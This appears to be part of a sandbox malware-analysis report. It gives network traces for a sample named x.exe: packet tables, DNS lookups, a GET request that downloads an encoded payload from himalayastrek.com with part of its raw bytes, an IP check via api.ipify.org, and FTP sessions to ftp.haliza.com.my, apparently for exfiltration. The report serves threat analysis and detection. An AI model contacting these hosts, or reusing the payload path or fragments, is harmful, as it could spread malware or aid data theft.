Oct 30, 2024 08:35:30.042198896 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.042295933 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.042433977 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.042537928 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.042623997 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.042743921 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.042840958 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.042907000 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.042968035 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.043057919 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.043104887 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.043190956 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.043230057 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.043294907 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.043404102 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.043489933 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.043582916 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.043677092 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.043732882 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.043803930 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.043946981 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.044050932 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.044135094 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.044233084 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.044280052 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.044404984 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.066452980 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.066557884 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.066797972 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.066864014 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.067122936 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.067193985 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.067419052 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.067512035 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.067601919 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.067740917 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.067800045 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.067873955 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.151396036 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.151546955 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.151582003 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.151691914 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.151725054 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.151937962 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152004957 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.152019024 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152043104 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152103901 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.152103901 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.152113914 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152184963 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152267933 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.152273893 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152287006 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152431011 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.152434111 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152446032 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152503014 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.152507067 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152518988 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152599096 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152657986 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.152657986 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.152664900 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.152918100 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.153189898 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.153239965 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.153247118 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.153310061 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.153367996 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.153367996 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.153376102 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.153455019 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.153626919 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.153635979 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.153750896 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.153834105 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.153934002 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.153961897 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.154102087 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.154107094 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.154125929 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.154169083 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.154175997 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.154249907 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.154249907 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.154256105 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.154478073 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.154582024 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.154582024 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.154587984 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.154661894 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.154802084 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.154808044 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.154913902 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.155013084 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.155072927 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.155072927 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.155078888 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.155148983 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.155153036 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.155179977 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.155230045 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.155230045 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.155278921 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.155350924 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.155426979 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.155493975 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.155507088 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.155551910 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.155720949 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.155831099 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.155900002 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.155982971 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.156069040 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.156125069 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.156192064 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.156286001 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.156416893 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.156491995 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.156497955 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.156558990 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.156769991 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.156889915 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.156894922 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.157099009 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.184039116 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.184145927 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.184159040 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.184288979 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.184290886 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.184303999 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.184380054 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.184474945 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.184581041 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.184588909 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.184597969 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.184664011 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.184755087 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.184755087 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.184775114 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.184787989 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:33.895411015 CET	49752	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:33.895461082 CET	443	49752	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:33.895536900 CET	49752	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:33.914436102 CET	49752	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:33.914453983 CET	443	49752	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:34.510683060 CET	443	49752	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:34.510772943 CET	49752	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:34.513371944 CET	49752	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:34.513382912 CET	443	49752	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:34.513637066 CET	443	49752	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:34.558032990 CET	49752	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:34.601265907 CET	49752	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:34.643332005 CET	443	49752	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:34.782532930 CET	443	49752	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:34.782598972 CET	443	49752	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:34.782681942 CET	49752	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:34.785646915 CET	49752	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:35.570503950 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:36.443223953 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:36.448817968 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:36.448945999 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:37.338639975 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:37.340873957 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:37.346323967 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:37.670998096 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:37.675668001 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:37.681189060 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:38.028072119 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:38.032543898 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:38.037938118 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:38.361502886 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:38.361772060 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:38.367252111 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:38.690716982 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:38.690996885 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:38.696886063 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:39.021226883 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:39.021478891 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:39.026905060 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:39.351174116 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:39.351985931 CET	49754	63940	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:39.357518911 CET	63940	49754	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:39.357601881 CET	49754	63940	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:39.357736111 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:39.363042116 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:40.259845018 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:40.260221004 CET	49754	63940	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:40.260267973 CET	49754	63940	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:40.265875101 CET	63940	49754	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:40.266782045 CET	63940	49754	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:40.266851902 CET	49754	63940	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:40.308031082 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:40.590024948 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:40.636121035 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:40.647682905 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:40.653620005 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:40.984262943 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:40.984822035 CET	49755	62962	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:40.990307093 CET	62962	49755	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:40.990403891 CET	49755	62962	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:40.990443945 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:40.996068001 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:41.894920111 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:41.895308971 CET	49755	62962	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:41.895308971 CET	49755	62962	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:41.901073933 CET	62962	49755	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:41.901087999 CET	62962	49755	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:41.901103973 CET	62962	49755	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:41.901438951 CET	62962	49755	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:41.901724100 CET	49755	62962	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:41.948618889 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:42.226413965 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:42.226949930 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:42.232472897 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:42.556190014 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:42.556967974 CET	49756	61195	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:42.562568903 CET	61195	49756	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:42.562688112 CET	49756	61195	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:42.562902927 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:42.569364071 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:43.476490974 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:43.476799965 CET	49756	61195	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:43.482424974 CET	61195	49756	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:43.482485056 CET	49756	61195	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:43.527187109 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:43.807782888 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:43.854862928 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:37:04.723928928 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:37:04.729396105 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:37:05.052964926 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:37:05.053494930 CET	50023	53369	192.168.2.4	110.4.45.197
Oct 30, 2024 08:37:05.059182882 CET	53369	50023	110.4.45.197	192.168.2.4
Oct 30, 2024 08:37:05.059283018 CET	50023	53369	192.168.2.4	110.4.45.197
Oct 30, 2024 08:37:05.059341908 CET	49753	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:37:05.064853907 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:37:05.959093094 CET	21	49753	110.4.45.197	192.168.2.4
Oct 30, 2024 08:37:06.011368990 CET	49753	21	192.168.2.4	110.4.45.197

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 08:34:57.991049051 CET	50062	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:34:57.998430967 CET	53	50062	1.1.1.1	192.168.2.4
Oct 30, 2024 08:35:06.129019976 CET	65472	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:35:06.136702061 CET	53	65472	1.1.1.1	192.168.2.4
Oct 30, 2024 08:35:08.273344994 CET	60798	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:35:08.528871059 CET	53	60798	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 08:34:57.991049051 CET	192.168.2.4	1.1.1.1	0xef98	Standard query (0)	himalayastrek.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:35:06.129019976 CET	192.168.2.4	1.1.1.1	0x714	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:35:08.273344994 CET	192.168.2.4	1.1.1.1	0x9aff	Standard query (0)	ftp.haliza.com.my	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 08:34:57.998430967 CET	1.1.1.1	192.168.2.4	0xef98	No error (0)	himalayastrek.com	50.116.93.185	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:35:06.136702061 CET	1.1.1.1	192.168.2.4	0x714	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:35:06.136702061 CET	1.1.1.1	192.168.2.4	0x714	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:35:06.136702061 CET	1.1.1.1	192.168.2.4	0x714	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:35:08.528871059 CET	1.1.1.1	192.168.2.4	0x9aff	No error (0)	ftp.haliza.com.my	110.4.45.197	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:35:17.458328009 CET	1.1.1.1	192.168.2.4	0x66fb	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:35:17.458328009 CET	1.1.1.1	192.168.2.4	0x66fb	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

himalayastrek.com

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	50.116.93.185	443	4888	C:\Users\user\AppData\Local\Temp\x.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:34:59 UTC	174	OUT	GET /origins/233_Cllyjbrxmng HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: himalayastrek.com
2024-10-30 07:34:59 UTC	209	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:34:59 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 30 Oct 2024 06:08:38 GMT Accept-Ranges: bytes Content-Length: 768392
2024-10-30 07:34:59 UTC	7983	IN	Data Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 4f 45 69 49 54 48 53 63 6d 48 53 55 65 48 53 4d 55 44 68 59 56 49 52 30 62 45 68 6b 69 45 78 41 68 45 78 4d 65 49 52 41 67 4a 68 38 64 49 68 55 64 46 42 30 6e 44 67 34 69 45 42 6b 6d 4a 78 38 68 49 53 59 6a 45 52 79 6d 72 71 56 5a 49 36 65 78 53 30 34 5a 47 53 59 58 44 78 38 6c 47 68 73 55 70 71 36 6c 57 53 4f 6e 73 55 76 30 2b 35 6f 43 54 76 72 79 37 74 33 6b 35 70 6e 66 36 75 66 74 36 65 61 42 41 77 7a 74 35 64 33 70 2b 2f 69 57 37 4f 6a 74 33 4f 66 6d 6d 67 68 4f 33 2f 76 30 39 50 54 72 68 4f 54 79 39 4f 66 70 36 6f 35 51 42 4f 66 71 34 2b 6a 37 35 6f 33 35 2b 2f 62 6b 35 65 69 49 2f 77 66 6f 39 2b 37 7a 2b 50 4b 61 33 75 6a 79 2b 2f 76 6e 6d 2f 31 4c 2b 66 6e 75 36 4f 33 6d 69 50 44 78 33 2f 54 6f 39 59 4e 56 56 50 4c Data Ascii: pq6lWSOnsUsOEiITHScmHSUeHSMUDhYVIR0bEhkiExAhExMeIRAgJh8dIhUdFB0nDg4iEBkmJx8hISYjERymrqVZI6exS04ZGSYXDx8lGhsUpq6lWSOnsUv0+5oCTvry7t3k5pnf6uft6eaBAwzt5d3p+/iW7Ojt3OfmmghO3/v09PTrhOTy9Ofp6o5QBOfq4+j75o35+/bk5eiI/wfo9+7z+PKa3ujy+/vnm/1L+fnu6O3miPDx3/To9YNVVPL
2024-10-30 07:34:59 UTC	8000	IN	Data Raw: 67 6c 73 44 36 46 56 69 57 31 6d 54 4d 71 73 70 62 37 34 68 51 38 71 68 52 62 48 55 66 74 70 62 38 69 55 6d 62 4d 59 74 71 30 62 61 39 55 53 6a 44 66 61 76 4c 64 30 4d 45 53 4a 34 31 7a 63 47 67 70 68 5a 68 36 56 72 6f 35 4e 35 58 56 74 37 33 52 69 37 73 63 4d 73 32 7a 58 38 44 36 4c 4f 70 35 66 6c 4a 57 70 4d 50 76 4d 39 54 74 48 64 7a 70 50 57 41 6b 64 69 2b 5a 4f 72 5a 48 31 73 55 74 56 51 59 6a 78 4f 42 46 48 62 34 45 2f 6c 55 2f 48 34 46 57 62 55 66 36 6a 38 78 76 32 64 42 4c 56 70 69 48 67 57 46 44 6f 4a 79 56 76 41 54 5a 51 69 4d 39 50 39 5a 79 74 42 4f 33 61 77 77 6a 57 73 34 48 37 50 66 53 50 2b 45 51 4e 79 43 35 41 32 70 2b 68 63 72 2f 2f 6a 4c 6c 46 6c 67 77 48 48 4e 51 54 4c 30 4c 35 77 59 79 32 36 41 66 6f 2f 6c 4b 6e 48 2f 42 64 2b 6d 79 71 Data Ascii: glsD6FViW1mTMqspb74hQ8qhRbHUftpb8iUmbMYtq0ba9USjDfavLd0MESJ41zcGgphZh6Vro5N5XVt73Ri7scMs2zX8D6LOp5flJWpMPvM9TtHdzpPWAkdi+ZOrZH1sUtVQYjxOBFHb4E/lU/H4FWbUf6j8xv2dBLVpiHgWFDoJyVvATZQiM9P9ZytBO3awwjWs4H7PfSP+EQNyC5A2p+hcr//jLlFlgwHHNQTL0L5wYy26Afo/lKnH/Bd+myq
2024-10-30 07:34:59 UTC	8000	IN	Data Raw: 6c 6b 32 70 75 71 4b 6a 69 42 59 4b 44 4c 4b 67 66 33 50 52 6f 58 41 64 35 2b 4d 46 4d 45 2f 32 64 4f 76 47 6f 6c 43 33 51 7a 4e 55 70 4f 6d 4e 73 4f 67 6a 2f 69 58 75 53 53 46 68 74 58 45 74 6a 78 36 32 63 54 36 7a 47 6d 68 6b 30 36 41 51 32 35 56 77 4e 6f 66 69 68 36 4a 4c 49 31 37 50 42 45 55 4e 7a 52 71 38 32 42 47 56 73 61 67 6e 6d 48 78 74 69 5a 57 30 74 46 78 71 4e 69 67 5a 6e 7a 79 31 74 4d 62 4f 2b 62 48 45 73 78 7a 50 71 52 62 56 4c 42 2b 69 32 31 42 4c 53 64 41 53 76 6d 52 62 6c 47 4a 70 63 36 31 43 61 5a 4c 71 38 61 54 47 57 7a 6d 75 49 48 61 6d 31 75 43 6c 72 4c 39 34 54 65 59 57 55 4c 6d 48 42 67 2f 30 2f 5a 4e 33 4b 69 79 2f 74 30 6e 37 62 75 72 68 36 66 53 46 52 70 38 52 54 59 6f 55 49 6e 61 33 79 47 72 79 59 66 57 42 5a 50 5a 39 68 57 33 Data Ascii: lk2puqKjiBYKDLKgf3PRoXAd5+MFME/2dOvGolC3QzNUpOmNsOgj/iXuSSFhtXEtjx62cT6zGmhk06AQ25VwNofih6JLI17PBEUNzRq82BGVsagnmHxtiZW0tFxqNigZnzy1tMbO+bHEsxzPqRbVLB+i21BLSdASvmRblGJpc61CaZLq8aTGWzmuIHam1uClrL94TeYWULmHBg/0/ZN3Kiy/t0n7burh6fSFRp8RTYoUIna3yGryYfWBZPZ9hW3
